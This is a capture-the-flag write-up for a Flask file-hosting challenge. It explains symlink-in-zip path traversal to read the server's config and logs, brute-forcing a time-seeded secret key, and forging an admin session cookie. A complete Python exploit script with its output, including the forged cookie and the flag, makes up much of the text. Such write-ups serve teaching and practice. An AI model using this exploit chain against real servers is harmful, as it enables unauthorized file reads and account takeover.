All I wanted was a website letting me host files anonymously for free, for ever
Upon looking through the Dockerfile, we notice that flag.txt
is only readable by root, and executing the flag binary presumably grabs the flag, with setuid permissions.
Looking at app.py
, there is a fairly standard looking logger, the secret key comes from an environment variable, and the first few views don't look exploitable. The uploads view uses Flask's safe send_from_directory
to send a file from the uploads
directory, and returns 404 if the file doesn't exist or if permission is denied. Finally, /flag
runs the flag binary to give the flag, but only if the user is admin.
Since there doesn't appear to be an easy target for remote code execution and the webserver can't read the flag file, the goal is most likely to forge a session cookie with admin=True
, for which we need the session cookie, which is set in config.py
. config.py
is run as part of Gunicorn (/usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py ...
) when Gunicorn boots up.
import random
import os
import time
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
Author note: some contestants assumed that the config file would be run every time a new worker booted, causing them to think that time.time()
was effectively 'now'. This assumption is incorrect, and it actually only runs once, when Gunicorn itself starts.
To determine the secret key, we need to determine the SECRET_OFFSET
. This can be found using local file inclusion: if we trick Flask to send us config.py
, then we can read the SECRET_OFFSET
. To detemine the starting time of the server (time.time()
), we can read the server log. In particular, the log will contain an entry [TIMESTAMP] [#] [INFO] Starting gunicorn 20.1.0
which reveals the second that the app was booted (and hence, config.py was run).
Knowing the secret offset and starting time to the nearest second means that we'll need to brute force around 1000-5000 seeds, because config.py could have been run any time within 1-2 seconds of the log entry.
There is only one way to get files onto the server: the upload page. Conveniently, uploaded files are accessible through the /uploads/<path>
path. Flask does not actually verify that the real path provided is inside the base directory, so we can use symlinks to escape out of the uploads folder. If we create a symlink aaaaa -> /
, then we can access http://localhost:1337/uploads/id/aaaaa/tmp/server.log
and http://localhost:1337/uploads/id/aaaaa/app/config.py
. This can be done with ln -s / aaaaa && zip --symlinks f.zip aaaaa
.
Once we have the starting timestamp and SECRET_OFFSET
, we can start bruteforcing the possible secret keys using flask-unsign, or a similar tool to verify if a secret key is correct for a given cookie (we can register for an account on the site to get a valid cookie). Once it is found, we can forge a cookie and grab the flag.
import requests
import os
import re
from pwn import info
from datetime import datetime
import random
server = "http://simple-file-server.chal.idek.team:1337"
# register account
s = requests.session()
s.post(f"{server}/register", data = {
"username": os.urandom(8).hex(),
"password": os.urandom(8).hex()
})
### get gunicorn full file read
os.system("ln -s / aaaaa && zip --symlinks f.zip aaaaa && rm aaaaa")
r = s.post(f"{server}/upload", files = {
"file": (
"file",
open("f.zip", "rb").read()
)
})
id = re.findall(r'Your unique ID is <a href="/uploads/(.*)">', r.text)[0]
# read timestamp from server.log
timestamp = s.get(f"{server}/uploads/{id}/aaaaa/tmp/server.log").text
info("Got server log:")
info(timestamp[:256])
date = re.findall(r'\[(.*)\] \[.*\[INFO\] Listening at', timestamp)[-1]
parsed = int(datetime.strptime(date, "%Y-%m-%d %H:%M:%S %z").timestamp() * 1000)
info(f"time.time() ~ {parsed}")
# read offset from config.py
conf_py = s.get(f"{server}/uploads/{id}/aaaaa/app/config.py").text
info("Got config.py:")
info(conf_py.split('\n')[4])
s_offset = re.findall(r'SECRET_OFFSET = (.*)\n', conf_py)[0].split()[0]
info("SECRET_OFFSET = " + s_offset)
parsed += int(s_offset) * 1000
# bruteforce within error
poss_keys = []
for poss_date in range(parsed - 5000, parsed + 5000):
random.seed(poss_date)
poss_keys.append("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))
# write to wordlist then flask-unsign
with open("keys.txt", "w") as f:
f.write("\n".join(poss_keys))
f.close()
res = os.popen(f"flask-unsign -uc {s.cookies.get_dict().get('session')} -w keys.txt").read().split("\n")[0].strip("'")
info(f"Got secret: {res}")
# forge cookie
forged = os.popen(f"""flask-unsign -sc --secret={res} --cookie="{{\\"admin\\":True}}" """).read().split("\n")[0]
info(f"Forged cookie: {forged}")
# read flag
info(requests.get(f"{server}/flag", cookies = {"session": forged}).text)
# clean up
os.remove("f.zip")
os.remove("keys.txt")
Output:
$ python3 sfstest.py
adding: aaaaa (stored 0%)
[*] Got server log:
[*] [2023-01-14 23:03:32 +0000] [8] [INFO] Starting gunicorn 20.1.0
[2023-01-14 23:03:32 +0000] [8] [INFO] Listening at: http://0.0.0.0:1337 (8)
[2023-01-14 23:03:32 +0000] [8] [INFO] Using worker: sync
[2023-01-14 23:03:32 +0000] [14] [INFO] Booting worker wi
[*] time.time() ~ 1673737412000
[*] Got config.py:
[*] SECRET_OFFSET = -67198624
[*] SECRET_OFFSET = -67198624
[*] Session decodes to: {'admin': False, 'uid': 'be420ff2b2d78341'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 5888 attemptsa8639e40fd0e
[*] Got secret: e897071bf3d5dc6ff7882fc0b64ece5c
[*] Forged cookie: eyJhZG1pbiI6dHJ1ZX0.Y8OGYg.d-H--_yRX36EHL73pt1mzlFZkcE
[*] idek{s1mpl3_expl01t_s3rver}
Flag: idek{s1mpl3_expl01t_s3rver}